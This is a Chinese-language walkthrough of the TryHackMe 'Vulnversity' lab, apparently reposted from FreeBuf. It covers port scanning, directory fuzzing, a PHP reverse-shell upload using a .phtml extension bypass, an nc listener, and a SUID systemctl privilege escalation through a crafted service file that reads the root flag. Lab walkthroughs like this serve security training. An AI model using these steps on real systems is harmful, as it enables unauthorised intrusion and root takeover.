https://tryhackme.com/room/vulnversity 此练习场景属于免费
技能地图如下:
枚举
export $IP=10.10.1.253
sudo nmap -T5 -sC -sV -oX nmap/vul $IP
模糊测试
wfuzz
注意它的提示,对于ssl可能失效
您可以使用此工具,我这里使用的是dirb与wfuzz的通用字典,同时发现dirb具备二层递归性。
dirb http://10.10.1.253:3333 /usr/share/wordlists/wfuzz/general/common.txt
shell参数检查,改成内网VPN分发的地址。
php shell:https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
bypass的后缀名
phpshell.phtml
文件扩展名模糊测试:/usr/share/seclists/Fuzzing/extensions-most-common.fuzz.txt
当然还有基于路径,文件类型,编码,参数污染,http请求走私,甚至defcon上的http去同步等其他各种攻击向量的文件上传绕过模糊,不在这里打开兔子洞。
nc -lnvp 1234
http://10.10.1.253:3333/internal/uploads/
提权
find / -perm -4000 2>/dev/null #suid 全局索引
systemctl与systemd,我们不在这里打开这个兔子洞,因为稀里哗啦的倒腾一堆官方文档与术语,到头来还是螺丝一拧,我鼓励您打开兔子洞并试着阅读大量文献已理解它们,这本身就是好事。总之,systemctl调用systemd init服务,又在bin中,这是个机会,它允许任何用户创建系统服务并以root运行。
eop=$(mktemp).service echo '[Service]
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target' > $eop
可将此poc视为黑盒,它不是逻辑性的,因为它在一定条件中可以反复实施。
这种编写风格类似于一些配置文件的写法。
mktemp是命令,单单命令可以猜测一二出来,创建文件,至于什么文件以及生命周期是否永恒不关心,这个文件作为服务输出到哪里请看echo的输出,与[install]元数据,它肯定是属性,都涉及到服务安装了。环境变量是$eop。命令与poc部署如图
扩展阅读
关于setuid
影响这些权限赋予的东西在底层叫做一个名词:能力,功能,Capabilities
比如:我们将ping复制出来,设置了setuid以后它才能打开套接字并运行。
在手册里,可以匹配到这些底层权限赋予的解释。发现,一个命令,拥有它以后就有了真正的权限了。
man capabilities
查看它具备的底层权限
getpcaps 进程号
root 默认存在CAP_SETFCAP 权限,因此可以给别人设置权限。可以偷偷给很多非root用户分配很多非法权限。
而setuid的设置,默认给myping这个程序赋予了cap_net_raw=p这种权限,因此您不需要root也能运行它
感谢师傅们很有耐心的阅读到了这里
我们还会再见面的
共勉
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)